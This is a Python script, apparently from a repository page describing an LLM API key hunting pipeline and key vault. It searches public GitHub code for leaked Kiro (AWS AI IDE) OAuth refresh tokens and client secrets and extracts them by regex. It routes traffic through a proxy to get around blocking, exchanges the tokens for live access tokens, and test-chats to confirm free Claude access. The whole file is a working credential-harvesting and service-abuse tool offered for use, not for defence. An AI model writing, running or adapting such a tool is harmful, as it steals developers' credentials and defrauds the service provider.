- tools/scripts/llm-key-hunter: GitHub leak hunting pipeline (hunt_*, pivot miner, two-layer verify/content caches, per-provider verification) - usable_keys: verified key vault across 12 providers (deepseek, minimax, volcanoark, longcat, codingplan, zhipu free-tier, mimo, siliconflow, etc.) - .grok/skills/llm-key-hunter: operator skill for the hunt/verify/vault flow - NewAPI channel import scripts and CDP capture helpers - Result verdict buckets (excluding multi-GB blob caches and dedup dumps)
459 lines
18 KiB
Python
459 lines
18 KiB
Python
#!/usr/bin/env python3
|
|
"""Kiro (AWS AI IDE) full hunter.
|
|
|
|
Kiro uses OAuth refresh tokens rather than static API keys. A valid refresh token
|
|
can be exchanged at https://prod.us-east-1.auth.desktop.kiro.dev/refreshToken for a
|
|
short-lived access_token, which drives Claude Sonnet/Haiku 4.5 via the
|
|
q.us-east-1.amazonaws.com/generateAssistantResponse endpoint — for free.
|
|
|
|
Pipeline:
|
|
1. GitHub code search (30+ Kiro-specific queries), routed through a CN proxy
|
|
that can reach api.github.com (GFW blocks it from this host).
|
|
2. Fetch raw files and extract:
|
|
- KIRO_REFRESH_TOKEN / KIRO_ACCESS_TOKEN env values
|
|
- KIRO_AUTH_TOKEN JSON arrays: [{"auth":"Social","refreshToken":"..."},...]
|
|
- refreshToken/refresh_token fields in .json/.env/config files near "kiro"
|
|
3. Verify each refresh token via the refresh endpoint.
|
|
200 + access_token -> USABLE (a fresh access token is the prize)
|
|
401 -> DEAD
|
|
anything else -> kept (NO_ACCESS / UNKNOWN / NO_BALANCE per LO's rule)
|
|
4. For USABLE tokens, optionally do a live chat probe to confirm credits.
|
|
|
|
Outputs results/kiro/{usable,no_balance,no_access,unknown,dead,all_non_401}.txt
|
|
Each USABLE line stores: refreshToken|source|access_token|expires_in|detail
|
|
"""
|
|
|
|
import argparse
|
|
import json
|
|
import os
|
|
import re
|
|
import subprocess
|
|
import sys
|
|
import time
|
|
import uuid
|
|
import urllib.request
|
|
import urllib.error
|
|
import urllib.parse
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
from pathlib import Path
|
|
|
|
HERE = Path(__file__).parent
|
|
RESULTS_DIR = HERE / "results" / "kiro"
|
|
RESULTS_DIR.mkdir(parents=True, exist_ok=True)
|
|
EXTRACTED_FILE = RESULTS_DIR / "extracted_tokens.txt"
|
|
|
|
# GitHub API is GFW-blocked; route through a CN proxy known to reach it.
|
|
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
|
|
|
|
REFRESH_URL = "https://prod.us-east-1.auth.desktop.kiro.dev/refreshToken"
|
|
CHAT_URL = "https://q.us-east-1.amazonaws.com/generateAssistantResponse"
|
|
|
|
UA = "curl/8.5.0"
|
|
# Kiro refresh tokens are JWTs (eyJ...eyJ...sig with two dots) or long opaque
|
|
# base64url strings. Must include '.' for JWTs; be permissive but avoid placeholders.
|
|
TOKEN_RE = re.compile(r"[A-Za-z0-9_\-]{20,}\.[A-Za-z0-9_\-]{20,}\.[A-Za-z0-9_\-]{10,}")
|
|
OPAQUE_RE = re.compile(r"[A-Za-z0-9_\-]{120,}")
|
|
PLACEHOLDER = ("your-", "example", "xxxx", "placeholder", "changeme",
|
|
"replace", "dummy", "test-token", "<", "...", "refreshtoken",
|
|
"accesstoken", "clientid", "clientsecret")
|
|
|
|
SEARCH_QUERIES = [
|
|
"KIRO_REFRESH_TOKEN",
|
|
"KIRO_ACCESS_TOKEN",
|
|
"KIRO_AUTH_TOKEN",
|
|
'"kiro.dev/refreshToken"',
|
|
'"prod.us-east-1.auth.desktop.kiro.dev"',
|
|
'"auth.desktop.kiro.dev" refreshToken',
|
|
'"refreshToken" "kiro" extension:json',
|
|
'"refreshToken" "kiro" extension:env',
|
|
'"refreshToken" "kiro" extension:yaml',
|
|
'"refreshToken" "kiro" extension:yml',
|
|
'"refreshToken" "kiro" extension:toml',
|
|
'"refresh_token" "kiro" extension:py',
|
|
'"refresh_token" "kiro" extension:js',
|
|
'"refresh_token" "kiro" extension:ts',
|
|
'"refresh_token" "kiro" extension:go',
|
|
'"kiro" "accessToken" "refreshToken" extension:json',
|
|
'KIRO_AUTH_TOKEN extension:env',
|
|
'KIRO_AUTH_TOKEN extension:json',
|
|
'KIRO_REFRESH_TOKEN extension:env',
|
|
'KIRO_REFRESH_TOKEN extension:json',
|
|
'KIRO_REFRESH_TOKEN extension:yaml',
|
|
'"kiro2api" refreshToken',
|
|
'"kiro" filename:docker-compose',
|
|
'"KIRO_REFRESH_TOKEN=" filename:.env',
|
|
'"KIRO_AUTH_TOKEN=" filename:.env',
|
|
'"kiro" "Social" "refreshToken"',
|
|
'"kiro" "IdC" "refreshToken" "clientId"',
|
|
'"q.us-east-1.amazonaws.com"',
|
|
'"generateAssistantResponse" token',
|
|
'"KiroIDE" refreshToken',
|
|
'"kiro-stack" refresh',
|
|
'"proxykiro" refresh',
|
|
'"2-api" kiro refreshToken',
|
|
]
|
|
|
|
|
|
_gh_opener = None
|
|
def gh_opener():
|
|
global _gh_opener
|
|
if _gh_opener is None:
|
|
handler = urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY}) if GH_PROXY else urllib.request.ProxyHandler({})
|
|
_gh_opener = urllib.request.build_opener(handler)
|
|
return _gh_opener
|
|
|
|
|
|
def github_token():
|
|
tok = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
|
|
if tok:
|
|
return tok
|
|
try:
|
|
out = subprocess.run(["gh", "auth", "token"], capture_output=True, text=True, timeout=10)
|
|
if out.returncode == 0:
|
|
return out.stdout.strip()
|
|
except FileNotFoundError:
|
|
pass
|
|
hosts = Path.home() / ".config" / "gh" / "hosts.yml"
|
|
if hosts.exists():
|
|
for line in hosts.read_text().splitlines():
|
|
if line.strip().startswith("oauth_token:"):
|
|
return line.split(":", 1)[1].strip()
|
|
return None
|
|
|
|
|
|
def gh_api_search(query, token, per_page=100):
|
|
headers = {"Accept": "application/vnd.github+json", "User-Agent": "kiro-hunter"}
|
|
if token:
|
|
headers["Authorization"] = f"Bearer {token}"
|
|
for page in range(1, 11):
|
|
url = ("https://api.github.com/search/code"
|
|
f"?q={urllib.parse.quote(query)}&per_page={per_page}&page={page}")
|
|
req = urllib.request.Request(url, headers=headers)
|
|
try:
|
|
with gh_opener().open(req, timeout=30) as resp:
|
|
data = json.loads(resp.read())
|
|
except urllib.error.HTTPError as e:
|
|
if e.code in (403, 429):
|
|
reset = e.headers.get("X-RateLimit-Reset")
|
|
wait = max(int(reset) - int(time.time()), 5) if reset else 30
|
|
print(f" rate-limited, waiting {wait}s...", file=sys.stderr, flush=True)
|
|
time.sleep(wait + 1)
|
|
continue
|
|
if e.code == 422:
|
|
return
|
|
print(f" HTTP {e.code} for {query!r}", file=sys.stderr)
|
|
return
|
|
except Exception as e:
|
|
print(f" network error: {e}", file=sys.stderr, flush=True)
|
|
return
|
|
items = data.get("items", [])
|
|
if not items:
|
|
return
|
|
for it in items:
|
|
yield it
|
|
if len(items) < per_page:
|
|
return
|
|
time.sleep(2.2 if token else 7)
|
|
|
|
|
|
def to_raw_url(u):
|
|
return u.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/")
|
|
|
|
|
|
def fetch_raw(url):
|
|
req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
|
|
try:
|
|
with gh_opener().open(req, timeout=20) as resp:
|
|
return resp.read().decode("utf-8", errors="replace")
|
|
except Exception:
|
|
return ""
|
|
|
|
|
|
def plausible_token(t):
|
|
if not t or len(t) < 60:
|
|
return False
|
|
low = t.lower()
|
|
if any(p in low for p in PLACEHOLDER):
|
|
return False
|
|
# must look like a JWT (two dots) or a long opaque base64url secret
|
|
is_jwt = t.count(".") == 2 and all(part for part in t.split("."))
|
|
is_opaque = ("." not in t) and len(t) >= 120 and re.fullmatch(r"[A-Za-z0-9_\-]+", t)
|
|
if not (is_jwt or is_opaque):
|
|
return False
|
|
# reject other-provider static keys that are too short / wrong shape
|
|
if re.fullmatch(r"[a-f0-9]{32}", t):
|
|
return False
|
|
if t.startswith("sk-") and len(t) < 60:
|
|
return False
|
|
return True
|
|
|
|
|
|
def extract_tokens(content):
|
|
"""Return list of (refresh_token, auth_method, client_id, client_secret)."""
|
|
found = {} # token -> tuple(auth, cid, csec)
|
|
|
|
def add(tok, auth="social", cid=None, csec=None):
|
|
tok = tok.strip().strip("'\"").rstrip(",;")
|
|
if plausible_token(tok) and tok not in found:
|
|
found[tok] = (auth, cid, csec)
|
|
|
|
# 1) KIRO_AUTH_TOKEN JSON array: [{"auth":"Social","refreshToken":"..."}, ...]
|
|
for m in re.finditer(r"KIRO_AUTH_TOKEN[^A-Za-z0-9]{0,6}(\[.*?\])", content, re.S):
|
|
chunk = m.group(1)
|
|
try:
|
|
arr = json.loads(chunk)
|
|
except Exception:
|
|
# try to find JSON objects within
|
|
arr = []
|
|
for obj in re.findall(r"\{[^{}]*\}", chunk):
|
|
try:
|
|
arr.append(json.loads(obj))
|
|
except Exception:
|
|
pass
|
|
for item in arr if isinstance(arr, list) else []:
|
|
if not isinstance(item, dict):
|
|
continue
|
|
rt = item.get("refreshToken") or item.get("refresh_token")
|
|
if rt:
|
|
auth = str(item.get("auth", "social")).lower()
|
|
add(rt, auth, item.get("clientId"), item.get("clientSecret"))
|
|
|
|
# 2) KIRO_REFRESH_TOKEN=... / REFRESH_TOKEN=... (JWT or opaque)
|
|
for m in re.finditer(r"(?:KIRO_)?REFRESH_TOKEN\s*[=:]\s*['\"]?([A-Za-z0-9_\-\.]+)['\"]?", content):
|
|
add(m.group(1), "social")
|
|
|
|
# 3) "refreshToken": "..." or refresh_token = "..." (JWTs include dots)
|
|
for m in re.finditer(r'"?refresh[_Tt]oken"?\s*[=:]\s*"([A-Za-z0-9_\-\.]{60,})"', content):
|
|
add(m.group(1), "social")
|
|
|
|
# 4) Builder ID / IdC: look for clientId+clientSecret+refreshToken proximity
|
|
for m in re.finditer(r'\{[^{}]*?"refreshToken"\s*:\s*"([^"]+)"[^{}]*?\}', content, re.S):
|
|
chunk = m.group(0)
|
|
cid = re.search(r'"clientId"\s*:\s*"([^"]+)"', chunk)
|
|
csec = re.search(r'"clientSecret"\s*:\s*"([^"]+)"', chunk)
|
|
rt = re.search(r'"refreshToken"\s*:\s*"([^"]+)"', chunk)
|
|
if rt:
|
|
add(rt.group(1), "idc" if (cid and csec) else "social",
|
|
cid.group(1) if cid else None,
|
|
csec.group(1) if csec else None)
|
|
|
|
return [(tok, *meta) for tok, meta in found.items()]
|
|
|
|
|
|
def http_post_json(url, body, headers, timeout=30, opener=None):
|
|
h = {"User-Agent": UA, "Accept": "*/*", "Content-Type": "application/json", **headers}
|
|
data = json.dumps(body).encode()
|
|
req = urllib.request.Request(url, data=data, headers=h, method="POST")
|
|
op = opener or urllib.request.build_opener()
|
|
try:
|
|
with op.open(req, timeout=timeout) as resp:
|
|
return resp.getcode(), resp.read().decode("utf-8", "replace")
|
|
except urllib.error.HTTPError as e:
|
|
try:
|
|
return e.code, e.read().decode("utf-8", "replace")
|
|
except Exception:
|
|
return e.code, ""
|
|
except Exception as e:
|
|
return 0, f"network: {type(e).__name__}: {e}"
|
|
|
|
|
|
def refresh_social(tok, machine_id):
|
|
return http_post_json(REFRESH_URL,
|
|
{"refreshToken": tok},
|
|
{"User-Agent": f"KiroIDE-1.6.0-{machine_id}"})
|
|
|
|
|
|
def refresh_idc(tok, cid, csec, region="us-east-1"):
|
|
url = f"https://oidc.{region}.amazonaws.com/token"
|
|
return http_post_json(url, {
|
|
"clientId": cid, "clientSecret": csec,
|
|
"refreshToken": tok, "grantType": "refresh_token",
|
|
}, {"x-amz-user-agent": "aws-sdk-js/3.738.0 m/E KiroIDE"})
|
|
|
|
|
|
def chat_probe(access_token, machine_id):
|
|
"""Minimal generateAssistantResponse request; classify by HTTP code."""
|
|
conv = str(uuid.uuid4())
|
|
cont = str(uuid.uuid4())
|
|
body = {
|
|
"conversationState": {
|
|
"agentContinuationId": cont,
|
|
"agentTaskType": "vibe",
|
|
"chatTriggerType": "MANUAL",
|
|
"conversationId": conv,
|
|
"currentMessage": {
|
|
"userInputMessage": {
|
|
"content": "hi",
|
|
"modelId": "claude-haiku-4.5",
|
|
"origin": "AI_EDITOR",
|
|
}
|
|
},
|
|
"history": [],
|
|
}
|
|
}
|
|
headers = {
|
|
"x-amzn-codewhisperer-optout": "true",
|
|
"x-amzn-kiro-agent-mode": "vibe",
|
|
"Authorization": f"Bearer {access_token}",
|
|
"Host": "q.us-east-1.amazonaws.com",
|
|
"amz-sdk-invocation-id": str(uuid.uuid4()),
|
|
"amz-sdk-request": "attempt=1; max=1",
|
|
"User-Agent": f"aws-sdk-js/1.0.27 KiroIDE-1.6.0-{machine_id}",
|
|
}
|
|
# chat goes through the proxy too (amazonaws may be flaky from CN)
|
|
op = gh_opener()
|
|
return http_post_json(CHAT_URL, body, headers, timeout=40, opener=op)
|
|
|
|
|
|
RANK = {"USABLE": 4, "NO_BALANCE": 3, "NO_ACCESS": 2, "UNKNOWN": 1, "DEAD": 0}
|
|
|
|
|
|
def verify_token(row):
|
|
"""row = (refresh_token, auth, cid, csec, source)."""
|
|
tok, auth, cid, csec, src = row
|
|
machine_id = uuid.uuid4().hex
|
|
# 1. refresh
|
|
if auth in ("idc", "builder-id", "builder_id") and cid and csec:
|
|
code, body = refresh_idc(tok, cid, csec)
|
|
else:
|
|
code, body = refresh_social(tok, machine_id)
|
|
|
|
access = None
|
|
expires = None
|
|
if code == 200:
|
|
try:
|
|
j = json.loads(body)
|
|
access = j.get("accessToken") or j.get("access_token")
|
|
expires = j.get("expiresIn") or j.get("expires_in")
|
|
except Exception:
|
|
pass
|
|
if access:
|
|
# 2. live chat probe (best effort)
|
|
ccode, cbody = chat_probe(access, machine_id)
|
|
if ccode == 200:
|
|
return "USABLE", f"refresh OK ({expires}s); chat 200", access, expires
|
|
if ccode in (402, 429):
|
|
return "NO_BALANCE", f"refresh OK; chat {ccode} (quota/rate): {cbody[:120]}", access, expires
|
|
if ccode == 401:
|
|
# access token rejected despite refresh — odd; keep as no_access
|
|
return "NO_ACCESS", f"refresh OK; chat 401: {cbody[:120]}", access, expires
|
|
if ccode == 0:
|
|
return "NO_ACCESS", f"refresh OK; chat net: {cbody[:120]}", access, expires
|
|
return "NO_ACCESS", f"refresh OK; chat HTTP {ccode}: {cbody[:120]}", access, expires
|
|
else:
|
|
return "NO_ACCESS", f"refresh 200 but no access_token: {body[:140]}", None, None
|
|
if code == 401:
|
|
return "DEAD", f"refresh 401: {body[:120]}", None, None
|
|
if code in (400, 403):
|
|
# 400 = malformed/revoked shape; 403 = disabled. Keep if not explicit 401.
|
|
return "NO_ACCESS", f"refresh {code}: {body[:140]}", None, None
|
|
if code in (402, 429):
|
|
return "NO_BALANCE", f"refresh {code}: {body[:140]}", None, None
|
|
if code == 0:
|
|
return "UNKNOWN", body[:160], None, None
|
|
return "NO_ACCESS", f"refresh HTTP {code}: {body[:140]}", None, None
|
|
|
|
|
|
def main():
|
|
ap = argparse.ArgumentParser()
|
|
ap.add_argument("--verify-only", action="store_true")
|
|
ap.add_argument("--workers", type=int, default=15)
|
|
ap.add_argument("--limit", type=int, default=0)
|
|
args = ap.parse_args()
|
|
|
|
tokens = {} # refresh_token -> (auth, cid, csec, source)
|
|
|
|
if args.verify_only and EXTRACTED_FILE.exists():
|
|
for line in EXTRACTED_FILE.read_text().splitlines():
|
|
parts = line.split("|")
|
|
if len(parts) >= 5:
|
|
tok, auth, cid, csec, src = parts[0], parts[1], parts[2], parts[3], parts[4]
|
|
tokens[tok] = (auth, cid or None, csec or None, src)
|
|
print(f"--verify-only: {len(tokens)} tokens")
|
|
else:
|
|
token = github_token()
|
|
print(f"GH proxy: {GH_PROXY or 'none'}; token: {'yes' if token else 'NO'}")
|
|
print("\n=== Stage 1: GitHub search ===")
|
|
candidates = {}
|
|
for i, q in enumerate(SEARCH_QUERIES, 1):
|
|
print(f" [{i:2d}/{len(SEARCH_QUERIES)}] {q}", flush=True)
|
|
try:
|
|
for it in gh_api_search(q, token):
|
|
u = it.get("html_url", "")
|
|
if u and u not in candidates:
|
|
candidates[u] = it.get("repository", {}).get("full_name", "?")
|
|
except Exception as e:
|
|
print(f" error: {e}", file=sys.stderr)
|
|
print(f" candidate files: {len(candidates)}")
|
|
|
|
print("\n=== Stage 2: fetch raw & extract refresh tokens ===")
|
|
fetched = 0
|
|
with ThreadPoolExecutor(max_workers=20) as pool:
|
|
futs = {pool.submit(fetch_raw, to_raw_url(u)): u for u in candidates}
|
|
for fut in as_completed(futs):
|
|
u = futs[fut]
|
|
fetched += 1
|
|
try:
|
|
content = fut.result()
|
|
except Exception:
|
|
content = ""
|
|
for tok, auth, cid, csec in extract_tokens(content):
|
|
if tok not in tokens:
|
|
tokens[tok] = (auth, cid, csec, u)
|
|
if fetched % 100 == 0:
|
|
print(f" fetched {fetched}/{len(candidates)}, tokens={len(tokens)}", flush=True)
|
|
print(f" unique refresh tokens: {len(tokens)}")
|
|
|
|
with open(EXTRACTED_FILE, "w") as f:
|
|
for tok, (auth, cid, csec, src) in sorted(tokens.items()):
|
|
f.write(f"{tok}|{auth}|{cid or ''}|{csec or ''}|{src}\n")
|
|
|
|
rows = [(tok, *meta) for tok, meta in tokens.items()]
|
|
if args.limit > 0:
|
|
rows = rows[:args.limit]
|
|
|
|
print(f"\n=== Stage 3: verify {len(rows)} tokens (workers={args.workers}) ===")
|
|
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "UNKNOWN": [], "DEAD": []}
|
|
start = time.time()
|
|
done = 0
|
|
with ThreadPoolExecutor(max_workers=args.workers) as pool:
|
|
futs = {pool.submit(verify_token, r): r for r in rows}
|
|
for fut in as_completed(futs):
|
|
r = futs[fut]
|
|
tok, auth, cid, csec, src = r
|
|
done += 1
|
|
try:
|
|
v, detail, access, expires = fut.result()
|
|
except Exception as e:
|
|
v, detail, access, expires = "UNKNOWN", f"exc:{e}", None, None
|
|
buckets[v].append((tok, src, auth, access, expires, detail))
|
|
if done % 20 == 0:
|
|
el = time.time() - start
|
|
print(f" [{done:4d}/{len(rows)}] " +
|
|
" ".join(f"{k.lower()}={len(buckets[k])}" for k in buckets) +
|
|
f" ({done/el:.1f}/s)", flush=True)
|
|
|
|
for name, items in buckets.items():
|
|
path = RESULTS_DIR / f"{name.lower()}.txt"
|
|
with open(path, "w") as f:
|
|
for tok, src, auth, access, expires, detail in items:
|
|
f.write(f"{tok}|{src}|auth={auth}|access={access or ''}|expires={expires or ''}|{detail}\n")
|
|
print(f" {name:11s}: {len(items):4d} -> {path.name}")
|
|
|
|
with open(RESULTS_DIR / "all_non_401.txt", "w") as f:
|
|
for name in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN"):
|
|
for tok, src, auth, access, expires, detail in buckets[name]:
|
|
f.write(f"{name}|{tok}|{src}|auth={auth}|access={access or ''}|{detail}\n")
|
|
|
|
if buckets["USABLE"]:
|
|
print("\n=== USABLE KIRO TOKENS (free Claude Sonnet/Haiku 4.5!) ===")
|
|
for tok, src, auth, access, expires, detail in buckets["USABLE"]:
|
|
print(f" refresh: {tok[:40]}...{tok[-8:]}")
|
|
print(f" access : {access[:50] if access else '?'}... (expires_in={expires}s)")
|
|
print(f" src : {src}")
|
|
print(f" {detail}\n")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|